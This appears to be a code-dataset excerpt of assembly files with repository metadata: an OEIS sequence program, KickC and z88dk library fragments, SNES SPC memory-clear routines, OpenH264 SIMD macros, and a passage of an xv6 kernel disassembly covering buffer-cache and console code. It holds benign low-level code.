; A021642: Decimal expansion of 1/638. ; 0,0,1,5,6,7,3,9,8,1,1,9,1,2,2,2,5,7,0,5,3,2,9,1,5,3,6,0,5,0,1,5,6,7,3,9,8,1,1,9,1,2,2,2,5,7,0,5,3,2,9,1,5,3,6,0,5,0,1,5,6,7,3,9,8,1,1,9,1,2,2,2,5,7,0,5,3,2,9,1,5,3,6,0,5,0,1,5,6,7,3,9,8,1,1,9,1,2,2 add $0,1 mov $1,10 pow $1,$0 mul $1,5 div $1,3190 mod $1,10 mov $0,$1
28.181818
199
0.541935
f495c56a3d225eca82d58df3d084896338ab45ca
34
asm
Assembly
src/main/fragment/mos6502-common/pwuc1_derefidx_vbuxx=pwuc1_derefidx_vbuxx_plus_1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/pwuc1_derefidx_vbuxx=pwuc1_derefidx_vbuxx_plus_1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/pwuc1_derefidx_vbuxx=pwuc1_derefidx_vbuxx_plus_1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
inc {c1},x bne !+ inc {c1}+1,x !:
6.8
12
0.470588
33d8e15f8efb4db7eb5f0e343bb9c3507020248e
116
asm
Assembly
libsrc/_DEVELOPMENT/string/c/sdcc_iy/ffs_fastcall.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/string/c/sdcc_iy/ffs_fastcall.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/string/c/sdcc_iy/ffs_fastcall.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; int ffs_fastcall(int i) SECTION code_string PUBLIC _ffs_fastcall EXTERN asm_ffs defc _ffs_fastcall = asm_ffs
10.545455
28
0.801724
e6b7f3d0c51d08e1287773eba342a8e2882d0129
481
asm
Assembly
optimised/utility.asm
PJBoy/SM-SPC
1345e173d5239132870c0f84603778546de49633
[ "0BSD" ]
4
2019-11-28T19:12:09.000Z
2022-02-04T20:51:06.000Z
optimised/utility.asm
PJBoy/SM-SPC
1345e173d5239132870c0f84603778546de49633
[ "0BSD" ]
null
null
null
optimised/utility.asm
PJBoy/SM-SPC
1345e173d5239132870c0f84603778546de49633
[ "0BSD" ]
null
null
null
memclear_8bit: { ;; Parameters ;; !misc0: Destination ;; Y: Size. 0 = 100h bytes mov a,#$00 decw !misc0 - mov (!misc0)+y,a dec y : bne - + incw !misc0 ret } memclear: { ;; Parameters ;; !misc0: Destination ;; !misc1: Size ; Clear blocks of 100h bytes mov x,!misc1+1 beq + mov y,#$00 - call memclear_8bit inc !misc0+1 dec x : bne - + ; Clear the remaining bytes if any mov y,!misc1 beq + call memclear_8bit + ret }
10.931818
35
0.569647
b3099346b4ce852ffea8fafdebb9726b62379ec7
5,571
asm
Assembly
processing/src/asm/asm_inc.asm
TechSmith/openh264
5d616714c4cdd30287e2c6a8aa485c2fc6c68b84
[ "BSD-2-Clause" ]
1
2016-12-06T07:56:36.000Z
2016-12-06T07:56:36.000Z
processing/src/asm/asm_inc.asm
3990995/openh264
f2aa3c75ae8a3d41ef85be739752d3f189c7eea3
[ "BSD-2-Clause" ]
null
null
null
processing/src/asm/asm_inc.asm
3990995/openh264
f2aa3c75ae8a3d41ef85be739752d3f189c7eea3
[ "BSD-2-Clause" ]
null
null
null
;*! ;* \copy ;* Copyright (c) 2009-2013, Cisco Systems ;* All rights reserved. ;* ;* Redistribution and use in source and binary forms, with or without ;* modification, are permitted provided that the following conditions ;* are met: ;* ;* * Redistributions of source code must retain the above copyright ;* notice, this list of conditions and the following disclaimer. ;* ;* * Redistributions in binary form must reproduce the above copyright ;* notice, this list of conditions and the following disclaimer in ;* the documentation and/or other materials provided with the ;* distribution. ;* ;* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ;* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ;* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS ;* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE ;* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, ;* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, ;* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; ;* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT ;* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ;* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ;* POSSIBILITY OF SUCH DAMAGE. ;* ;* ;* sse2inc.asm ;* ;* Abstract ;* macro and constant ;* ;* History ;* 8/5/2009 Created ;* ;* ;*************************************************************************/ ;*********************************************************************** ; Options, for DEBUG ;*********************************************************************** %if 1 %define MOVDQ movdqa %else %define MOVDQ movdqu %endif %if 1 %define WELSEMMS emms %else %define WELSEMMS %endif BITS 32 ;*********************************************************************** ; Macros ;*********************************************************************** %macro WELS_EXTERN 1 %ifdef PREFIX global _%1 %define %1 _%1 %else global %1 %endif %endmacro %macro WELS_AbsW 2 pxor %2, %2 psubw %2, %1 pmaxsw %1, %2 %endmacro %macro MMX_XSwap 4 movq %4, %2 punpckh%1 %4, %3 punpckl%1 %2, %3 %endmacro ; pOut mm1, mm4, mm5, mm3 %macro MMX_Trans4x4W 5 MMX_XSwap wd, %1, %2, %5 MMX_XSwap wd, %3, %4, %2 MMX_XSwap dq, %1, %3, %4 MMX_XSwap dq, %5, %2, %3 %endmacro ;for TRANSPOSE %macro SSE2_XSawp 4 movdqa %4, %2 punpckl%1 %2, %3 punpckh%1 %4, %3 %endmacro ; in: xmm1, xmm2, xmm3, xmm4 pOut: xmm1, xmm4, xmm5, mm3 %macro SSE2_Trans4x4D 5 SSE2_XSawp dq, %1, %2, %5 SSE2_XSawp dq, %3, %4, %2 SSE2_XSawp qdq, %1, %3, %4 SSE2_XSawp qdq, %5, %2, %3 %endmacro ;in: xmm0, xmm1, xmm2, xmm3 pOut: xmm0, xmm1, xmm3, xmm4 %macro SSE2_TransTwo4x4W 5 SSE2_XSawp wd, %1, %2, %5 SSE2_XSawp wd, %3, %4, %2 SSE2_XSawp dq, %1, %3, %4 SSE2_XSawp dq, %5, %2, %3 SSE2_XSawp qdq, %1, %5, %2 SSE2_XSawp qdq, %4, %3, %5 %endmacro ;in: m1, m2, m3, m4, m5, m6, m7, m8 ;pOut: m5, m3, m4, m8, m6, m2, m7, m1 %macro SSE2_TransTwo8x8B 9 movdqa %9, %8 SSE2_XSawp bw, %1, %2, %8 SSE2_XSawp bw, %3, %4, %2 SSE2_XSawp bw, %5, %6, %4 movdqa %6, %9 movdqa %9, %4 SSE2_XSawp bw, %7, %6, %4 SSE2_XSawp wd, %1, %3, %6 SSE2_XSawp wd, %8, %2, %3 SSE2_XSawp wd, %5, %7, %2 movdqa %7, %9 movdqa %9, %3 SSE2_XSawp wd, %7, %4, %3 SSE2_XSawp dq, %1, %5, %4 SSE2_XSawp dq, %6, %2, %5 SSE2_XSawp dq, %8, %7, %2 movdqa %7, %9 movdqa %9, %5 SSE2_XSawp dq, %7, %3, %5 SSE2_XSawp qdq, %1, %8, %3 SSE2_XSawp qdq, %4, %2, %8 SSE2_XSawp qdq, %6, %7, %2 movdqa %7, %9 movdqa %9, %1 SSE2_XSawp qdq, %7, %5, %1 movdqa %5, %9 %endmacro ;xmm0, xmm6, xmm7, [eax], [ecx] ;xmm7 = 0, eax = pix1, ecx = pix2, xmm0 save the result %macro SSE2_LoadDiff8P 5 movq %1, %4 punpcklbw %1, %3 movq %2, %5 punpcklbw %2, %3 psubw %1, %2 %endmacro ; m2 = m1 + m2, m1 = m1 - m2 %macro SSE2_SumSub 3 movdqa %3, %2 paddw %2, %1 psubw %1, %3 %endmacro %macro butterfly_1to16_sse 3 ; xmm? for dst, xmm? for tmp, one byte for pSrc [generic register name: a/b/c/d] mov %3h, %3l movd %1, e%3x ; i.e, 1% = eax (=b0) pshuflw %2, %1, 00h ; ..., b0 b0 b0 b0 b0 b0 b0 b0 pshufd %1, %2, 00h ; b0 b0 b0 b0, b0 b0 b0 b0, b0 b0 b0 b0, b0 b0 b0 b0 %endmacro ;copy a dw into a xmm for 8 times %macro SSE2_Copy8Times 2 movd %1, %2 punpcklwd %1, %1 pshufd %1, %1, 0 %endmacro ;copy a db into a xmm for 16 times %macro SSE2_Copy16Times 2 movd %1, %2 pshuflw %1, %1, 0 punpcklqdq %1, %1 packuswb %1, %1 %endmacro ;*********************************************************************** ;preprocessor constants ;*********************************************************************** ;dw 32,32,32,32,32,32,32,32 for xmm ;dw 32,32,32,32 for mm %macro WELS_DW32 1 pcmpeqw %1,%1 psrlw %1,15 psllw %1,5 %endmacro ;dw 1, 1, 1, 1, 1, 1, 1, 1 for xmm ;dw 1, 1, 1, 1 for mm %macro WELS_DW1 1 pcmpeqw %1,%1 psrlw %1,15 %endmacro ;all 0 for xmm and mm %macro WELS_Zero 1 pxor %1, %1 %endmacro ;dd 1, 1, 1, 1 for xmm ;dd 1, 1 for mm %macro WELS_DD1 1 pcmpeqw %1,%1 psrld %1,31 %endmacro ;dB 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 %macro WELS_DB1 1 pcmpeqw %1,%1 psrlw %1,15 packuswb %1,%1 %endmacro
23.605932
109
0.559864
38c4d29b8d684d64df0d7ddd737b33036e2186c9
569,493
asm
Assembly
kernel.asm
joshwu1/lab3
c200dd7c2f43aec94367c2512d90bd2785b86097
[ "MIT-0" ]
null
null
null
kernel.asm
joshwu1/lab3
c200dd7c2f43aec94367c2512d90bd2785b86097
[ "MIT-0" ]
null
null
null
kernel.asm
joshwu1/lab3
c200dd7c2f43aec94367c2512d90bd2785b86097
[ "MIT-0" ]
null
null
null
kernel: file format elf32-i386 Disassembly of section .text: 80100000 <multiboot_header>: 80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh 80100006: 00 00 add %al,(%eax) 80100008: fe 4f 52 decb 0x52(%edi) 8010000b: e4 .byte 0xe4 8010000c <entry>: # Entering xv6 on boot processor, with paging off. .globl entry entry: # Turn on page size extension for 4Mbyte pages movl %cr4, %eax 8010000c: 0f 20 e0 mov %cr4,%eax orl $(CR4_PSE), %eax 8010000f: 83 c8 10 or $0x10,%eax movl %eax, %cr4 80100012: 0f 22 e0 mov %eax,%cr4 # Set page directory movl $(V2P_WO(entrypgdir)), %eax 80100015: b8 00 90 10 00 mov $0x109000,%eax movl %eax, %cr3 8010001a: 0f 22 d8 mov %eax,%cr3 # Turn on paging. movl %cr0, %eax 8010001d: 0f 20 c0 mov %cr0,%eax orl $(CR0_PG|CR0_WP), %eax 80100020: 0d 00 00 01 80 or $0x80010000,%eax movl %eax, %cr0 80100025: 0f 22 c0 mov %eax,%cr0 # Set up the stack pointer. movl $(stack + KSTACKSIZE), %esp 80100028: bc c0 b5 10 80 mov $0x8010b5c0,%esp # Jump to main(), and switch to executing at # high addresses. The indirect call is needed because # the assembler produces a PC-relative instruction # for a direct jump. mov $main, %eax 8010002d: b8 d0 2d 10 80 mov $0x80102dd0,%eax jmp *%eax 80100032: ff e0 jmp *%eax 80100034: 66 90 xchg %ax,%ax 80100036: 66 90 xchg %ax,%ax 80100038: 66 90 xchg %ax,%ax 8010003a: 66 90 xchg %ax,%ax 8010003c: 66 90 xchg %ax,%ax 8010003e: 66 90 xchg %ax,%ax 80100040 <binit>: struct buf head; } bcache; void binit(void) { 80100040: 55 push %ebp 80100041: 89 e5 mov %esp,%ebp 80100043: 53 push %ebx //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80100044: bb f4 b5 10 80 mov $0x8010b5f4,%ebx { 80100049: 83 ec 14 sub $0x14,%esp initlock(&bcache.lock, "bcache"); 8010004c: c7 44 24 04 00 6e 10 movl $0x80106e00,0x4(%esp) 80100053: 80 80100054: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) 8010005b: e8 d0 3f 00 00 call 80104030 <initlock> bcache.head.next = &bcache.head; 80100060: ba bc fc 10 80 mov $0x8010fcbc,%edx bcache.head.prev = &bcache.head; 80100065: c7 05 0c fd 10 80 bc movl $0x8010fcbc,0x8010fd0c 8010006c: fc 10 80 bcache.head.next = &bcache.head; 8010006f: c7 05 10 fd 10 80 bc movl $0x8010fcbc,0x8010fd10 80100076: fc 10 80 80100079: eb 09 jmp 80100084 <binit+0x44> 8010007b: 90 nop 8010007c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100080: 89 da mov %ebx,%edx for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80100082: 89 c3 mov %eax,%ebx 80100084: 8d 43 0c lea 0xc(%ebx),%eax b->next = bcache.head.next; 80100087: 89 53 54 mov %edx,0x54(%ebx) b->prev = &bcache.head; 8010008a: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx) initsleeplock(&b->lock, "buffer"); 80100091: 89 04 24 mov %eax,(%esp) 80100094: c7 44 24 04 07 6e 10 movl $0x80106e07,0x4(%esp) 8010009b: 80 8010009c: e8 7f 3e 00 00 call 80103f20 <initsleeplock> bcache.head.next->prev = b; 801000a1: a1 10 fd 10 80 mov 0x8010fd10,%eax 801000a6: 89 58 50 mov %ebx,0x50(%eax) for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000a9: 8d 83 5c 02 00 00 lea 0x25c(%ebx),%eax 801000af: 3d bc fc 10 80 cmp $0x8010fcbc,%eax bcache.head.next = b; 801000b4: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10 for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000ba: 75 c4 jne 80100080 <binit+0x40> } } 801000bc: 83 c4 14 add $0x14,%esp 801000bf: 5b pop %ebx 801000c0: 5d pop %ebp 801000c1: c3 ret 801000c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801000c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801000d0 <bread>: } // Return a locked buf with the contents of the indicated block. struct buf* bread(uint dev, uint blockno) { 801000d0: 55 push %ebp 801000d1: 89 e5 mov %esp,%ebp 801000d3: 57 push %edi 801000d4: 56 push %esi 801000d5: 53 push %ebx 801000d6: 83 ec 1c sub $0x1c,%esp 801000d9: 8b 75 08 mov 0x8(%ebp),%esi acquire(&bcache.lock); 801000dc: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) { 801000e3: 8b 7d 0c mov 0xc(%ebp),%edi acquire(&bcache.lock); 801000e6: e8 35 40 00 00 call 80104120 <acquire> for(b = bcache.head.next; b != &bcache.head; b = b->next){ 801000eb: 8b 1d 10 fd 10 80 mov 0x8010fd10,%ebx 801000f1: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 801000f7: 75 12 jne 8010010b <bread+0x3b> 801000f9: eb 25 jmp 80100120 <bread+0x50> 801000fb: 90 nop 801000fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100100: 8b 5b 54 mov 0x54(%ebx),%ebx 80100103: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 80100109: 74 15 je 80100120 <bread+0x50> if(b->dev == dev && b->blockno == blockno){ 8010010b: 3b 73 04 cmp 0x4(%ebx),%esi 8010010e: 75 f0 jne 80100100 <bread+0x30> 80100110: 3b 7b 08 cmp 0x8(%ebx),%edi 80100113: 75 eb jne 80100100 <bread+0x30> b->refcnt++; 80100115: 83 43 4c 01 addl $0x1,0x4c(%ebx) 80100119: eb 3f jmp 8010015a <bread+0x8a> 8010011b: 90 nop 8010011c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(b = bcache.head.prev; b != &bcache.head; b = b->prev){ 80100120: 8b 1d 0c fd 10 80 mov 0x8010fd0c,%ebx 80100126: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 8010012c: 75 0d jne 8010013b <bread+0x6b> 8010012e: eb 58 jmp 80100188 <bread+0xb8> 80100130: 8b 5b 50 mov 0x50(%ebx),%ebx 80100133: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 80100139: 74 4d je 80100188 <bread+0xb8> if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) { 8010013b: 8b 43 4c mov 0x4c(%ebx),%eax 8010013e: 85 c0 test %eax,%eax 80100140: 75 ee jne 80100130 <bread+0x60> 80100142: f6 03 04 testb $0x4,(%ebx) 80100145: 75 e9 jne 80100130 <bread+0x60> b->dev = dev; 80100147: 89 73 04 mov %esi,0x4(%ebx) b->blockno = blockno; 8010014a: 89 7b 08 mov %edi,0x8(%ebx) b->flags = 0; 8010014d: c7 03 00 00 00 00 movl $0x0,(%ebx) b->refcnt = 1; 80100153: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) release(&bcache.lock); 8010015a: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) 80100161: e8 aa 40 00 00 call 80104210 <release> acquiresleep(&b->lock); 80100166: 8d 43 0c lea 0xc(%ebx),%eax 80100169: 89 04 24 mov %eax,(%esp) 8010016c: e8 ef 3d 00 00 call 80103f60 <acquiresleep> struct buf *b; b = bget(dev, blockno); if((b->flags & B_VALID) == 0) { 80100171: f6 03 02 testb $0x2,(%ebx) 80100174: 75 08 jne 8010017e <bread+0xae> iderw(b); 80100176: 89 1c 24 mov %ebx,(%esp) 80100179: e8 82 1f 00 00 call 80102100 <iderw> } return b; } 8010017e: 83 c4 1c add $0x1c,%esp 80100181: 89 d8 mov %ebx,%eax 80100183: 5b pop %ebx 80100184: 5e pop %esi 80100185: 5f pop %edi 80100186: 5d pop %ebp 80100187: c3 ret panic("bget: no buffers"); 80100188: c7 04 24 0e 6e 10 80 movl $0x80106e0e,(%esp) 8010018f: e8 cc 01 00 00 call 80100360 <panic> 80100194: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010019a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801001a0 <bwrite>: // Write b's contents to disk. Must be locked. void bwrite(struct buf *b) { 801001a0: 55 push %ebp 801001a1: 89 e5 mov %esp,%ebp 801001a3: 53 push %ebx 801001a4: 83 ec 14 sub $0x14,%esp 801001a7: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001aa: 8d 43 0c lea 0xc(%ebx),%eax 801001ad: 89 04 24 mov %eax,(%esp) 801001b0: e8 4b 3e 00 00 call 80104000 <holdingsleep> 801001b5: 85 c0 test %eax,%eax 801001b7: 74 10 je 801001c9 <bwrite+0x29> panic("bwrite"); b->flags |= B_DIRTY; 801001b9: 83 0b 04 orl $0x4,(%ebx) iderw(b); 801001bc: 89 5d 08 mov %ebx,0x8(%ebp) } 801001bf: 83 c4 14 add $0x14,%esp 801001c2: 5b pop %ebx 801001c3: 5d pop %ebp iderw(b); 801001c4: e9 37 1f 00 00 jmp 80102100 <iderw> panic("bwrite"); 801001c9: c7 04 24 1f 6e 10 80 movl $0x80106e1f,(%esp) 801001d0: e8 8b 01 00 00 call 80100360 <panic> 801001d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801001d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801001e0 <brelse>: // Release a locked buffer. // Move to the head of the MRU list. void brelse(struct buf *b) { 801001e0: 55 push %ebp 801001e1: 89 e5 mov %esp,%ebp 801001e3: 56 push %esi 801001e4: 53 push %ebx 801001e5: 83 ec 10 sub $0x10,%esp 801001e8: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001eb: 8d 73 0c lea 0xc(%ebx),%esi 801001ee: 89 34 24 mov %esi,(%esp) 801001f1: e8 0a 3e 00 00 call 80104000 <holdingsleep> 801001f6: 85 c0 test %eax,%eax 801001f8: 74 5b je 80100255 <brelse+0x75> panic("brelse"); releasesleep(&b->lock); 801001fa: 89 34 24 mov %esi,(%esp) 801001fd: e8 be 3d 00 00 call 80103fc0 <releasesleep> acquire(&bcache.lock); 80100202: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) 80100209: e8 12 3f 00 00 call 80104120 <acquire> b->refcnt--; if (b->refcnt == 0) { 8010020e: 83 6b 4c 01 subl $0x1,0x4c(%ebx) 80100212: 75 2f jne 80100243 <brelse+0x63> // no one is waiting for it. b->next->prev = b->prev; 80100214: 8b 43 54 mov 0x54(%ebx),%eax 80100217: 8b 53 50 mov 0x50(%ebx),%edx 8010021a: 89 50 50 mov %edx,0x50(%eax) b->prev->next = b->next; 8010021d: 8b 43 50 mov 0x50(%ebx),%eax 80100220: 8b 53 54 mov 0x54(%ebx),%edx 80100223: 89 50 54 mov %edx,0x54(%eax) b->next = bcache.head.next; 80100226: a1 10 fd 10 80 mov 0x8010fd10,%eax b->prev = &bcache.head; 8010022b: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx) b->next = bcache.head.next; 80100232: 89 43 54 mov %eax,0x54(%ebx) bcache.head.next->prev = b; 80100235: a1 10 fd 10 80 mov 0x8010fd10,%eax 8010023a: 89 58 50 mov %ebx,0x50(%eax) bcache.head.next = b; 8010023d: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10 } release(&bcache.lock); 80100243: c7 45 08 c0 b5 10 80 movl $0x8010b5c0,0x8(%ebp) } 8010024a: 83 c4 10 add $0x10,%esp 8010024d: 5b pop %ebx 8010024e: 5e pop %esi 8010024f: 5d pop %ebp release(&bcache.lock); 80100250: e9 bb 3f 00 00 jmp 80104210 <release> panic("brelse"); 80100255: c7 04 24 26 6e 10 80 movl $0x80106e26,(%esp) 8010025c: e8 ff 00 00 00 call 80100360 <panic> 80100261: 66 90 xchg %ax,%ax 80100263: 66 90 xchg %ax,%ax 80100265: 66 90 xchg %ax,%ax 80100267: 66 90 xchg %ax,%ax 80100269: 66 90 xchg %ax,%ax 8010026b: 66 90 xchg %ax,%ax 8010026d: 66 90 xchg %ax,%ax 8010026f: 90 nop 80100270 <consoleread>: } } int consoleread(struct inode *ip, char *dst, int n) { 80100270: 55 push %ebp 80100271: 89 e5 mov %esp,%ebp 80100273: 57 push %edi 80100274: 56 push %esi 80100275: 53 push %ebx 80100276: 83 ec 1c sub $0x1c,%esp 80100279: 8b 7d 08 mov 0x8(%ebp),%edi 8010027c: 8b 75 0c mov 0xc(%ebp),%esi uint target; int c; iunlock(ip); 8010027f: 89 3c 24 mov %edi,(%esp) 80100282: e8 e9 14 00 00 call 80101770 <iunlock> target = n; acquire(&cons.lock); 80100287: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010028e: e8 8d 3e 00 00 call 80104120 <acquire> while(n > 0){ 80100293: 8b 55 10 mov 0x10(%ebp),%edx 80100296: 85 d2 test %edx,%edx 80100298: 0f 8e bc 00 00 00 jle 8010035a <consoleread+0xea> 8010029e: 8b 5d 10 mov 0x10(%ebp),%ebx 801002a1: eb 25 jmp 801002c8 <consoleread+0x58> 801002a3: 90 nop 801002a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(input.r == input.w){ if(myproc()->killed){ 801002a8: e8 d3 33 00 00 call 80103680 <myproc> 801002ad: 8b 40 24 mov 0x24(%eax),%eax 801002b0: 85 c0 test %eax,%eax 801002b2: 75 74 jne 80100328 <consoleread+0xb8> release(&cons.lock); ilock(ip); return -1; } sleep(&input.r, &cons.lock); 801002b4: c7 44 24 04 20 a5 10 movl $0x8010a520,0x4(%esp) 801002bb: 80 801002bc: c7 04 24 a0 ff 10 80 movl $0x8010ffa0,(%esp) 801002c3: e8 18 39 00 00 call 80103be0 <sleep> while(input.r == input.w){ 801002c8: a1 a0 ff 10 80 mov 0x8010ffa0,%eax 801002cd: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801002d3: 74 d3 je 801002a8 <consoleread+0x38> } c = input.buf[input.r++ % INPUT_BUF]; 801002d5: 8d 50 01 lea 0x1(%eax),%edx 801002d8: 89 15 a0 ff 10 80 mov %edx,0x8010ffa0 801002de: 89 c2 mov %eax,%edx 801002e0: 83 e2 7f and $0x7f,%edx 801002e3: 0f b6 8a 20 ff 10 80 movzbl -0x7fef00e0(%edx),%ecx 801002ea: 0f be d1 movsbl %cl,%edx if(c == C('D')){ // EOF 801002ed: 83 fa 04 cmp $0x4,%edx 801002f0: 74 57 je 80100349 <consoleread+0xd9> // caller gets a 0-byte result. input.r--; } break; } *dst++ = c; 801002f2: 83 c6 01 add $0x1,%esi --n; 801002f5: 83 eb 01 sub $0x1,%ebx if(c == '\n') 801002f8: 83 fa 0a cmp $0xa,%edx *dst++ = c; 801002fb: 88 4e ff mov %cl,-0x1(%esi) if(c == '\n') 801002fe: 74 53 je 80100353 <consoleread+0xe3> while(n > 0){ 80100300: 85 db test %ebx,%ebx 80100302: 75 c4 jne 801002c8 <consoleread+0x58> 80100304: 8b 45 10 mov 0x10(%ebp),%eax break; } release(&cons.lock); 80100307: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010030e: 89 45 e4 mov %eax,-0x1c(%ebp) 80100311: e8 fa 3e 00 00 call 80104210 <release> ilock(ip); 80100316: 89 3c 24 mov %edi,(%esp) 80100319: e8 72 13 00 00 call 80101690 <ilock> 8010031e: 8b 45 e4 mov -0x1c(%ebp),%eax return target - n; 80100321: eb 1e jmp 80100341 <consoleread+0xd1> 80100323: 90 nop 80100324: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi release(&cons.lock); 80100328: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010032f: e8 dc 3e 00 00 call 80104210 <release> ilock(ip); 80100334: 89 3c 24 mov %edi,(%esp) 80100337: e8 54 13 00 00 call 80101690 <ilock> return -1; 8010033c: b8 ff ff ff ff mov $0xffffffff,%eax } 80100341: 83 c4 1c add $0x1c,%esp 80100344: 5b pop %ebx 80100345: 5e pop %esi 80100346: 5f pop %edi 80100347: 5d pop %ebp 80100348: c3 ret if(n < target){ 80100349: 39 5d 10 cmp %ebx,0x10(%ebp) 8010034c: 76 05 jbe 80100353 <consoleread+0xe3> input.r--; 8010034e: a3 a0 ff 10 80 mov %eax,0x8010ffa0 80100353: 8b 45 10 mov 0x10(%ebp),%eax 80100356: 29 d8 sub %ebx,%eax 80100358: eb ad jmp 80100307 <consoleread+0x97> while(n > 0){ 8010035a: 31 c0 xor %eax,%eax 8010035c: eb a9 jmp 80100307 <consoleread+0x97> 8010035e: 66 90 xchg %ax,%ax 80100360 <panic>: { 80100360: 55 push %ebp 80100361: 89 e5 mov %esp,%ebp 80100363: 56 push %esi 80100364: 53 push %ebx 80100365: 83 ec 40 sub $0x40,%esp } static inline void cli(void) { asm volatile("cli"); 80100368: fa cli cons.locking = 0; 80100369: c7 05 54 a5 10 80 00 movl $0x0,0x8010a554 80100370: 00 00 00 getcallerpcs(&s, pcs); 80100373: 8d 5d d0 lea -0x30(%ebp),%ebx cprintf("lapicid %d: panic: ", lapicid()); 80100376: e8 c5 23 00 00 call 80102740 <lapicid> 8010037b: 8d 75 f8 lea -0x8(%ebp),%esi 8010037e: c7 04 24 2d 6e 10 80 movl $0x80106e2d,(%esp) 80100385: 89 44 24 04 mov %eax,0x4(%esp) 80100389: e8 c2 02 00 00 call 80100650 <cprintf> cprintf(s); 8010038e: 8b 45 08 mov 0x8(%ebp),%eax 80100391: 89 04 24 mov %eax,(%esp) 80100394: e8 b7 02 00 00 call 80100650 <cprintf> cprintf("\n"); 80100399: c7 04 24 db 77 10 80 movl $0x801077db,(%esp) 801003a0: e8 ab 02 00 00 call 80100650 <cprintf> getcallerpcs(&s, pcs); 801003a5: 8d 45 08 lea 0x8(%ebp),%eax 801003a8: 89 5c 24 04 mov %ebx,0x4(%esp) 801003ac: 89 04 24 mov %eax,(%esp) 801003af: e8 9c 3c 00 00 call 80104050 <getcallerpcs> 801003b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cprintf(" %p", pcs[i]); 801003b8: 8b 03 mov (%ebx),%eax 801003ba: 83 c3 04 add $0x4,%ebx 801003bd: c7 04 24 41 6e 10 80 movl $0x80106e41,(%esp) 801003c4: 89 44 24 04 mov %eax,0x4(%esp) 801003c8: e8 83 02 00 00 call 80100650 <cprintf> for(i=0; i<10; i++) 801003cd: 39 f3 cmp %esi,%ebx 801003cf: 75 e7 jne 801003b8 <panic+0x58> panicked = 1; // freeze other CPU 801003d1: c7 05 58 a5 10 80 01 movl $0x1,0x8010a558 801003d8: 00 00 00 801003db: eb fe jmp 801003db <panic+0x7b> 801003dd: 8d 76 00 lea 0x0(%esi),%esi 801003e0 <consputc>: if(panicked){ 801003e0: 8b 15 58 a5 10 80 mov 0x8010a558,%edx 801003e6: 85 d2 test %edx,%edx 801003e8: 74 06 je 801003f0 <consputc+0x10> 801003ea: fa cli 801003eb: eb fe jmp 801003eb <consputc+0xb> 801003ed: 8d 76 00 lea 0x0(%esi),%esi { 801003f0: 55 push %ebp 801003f1: 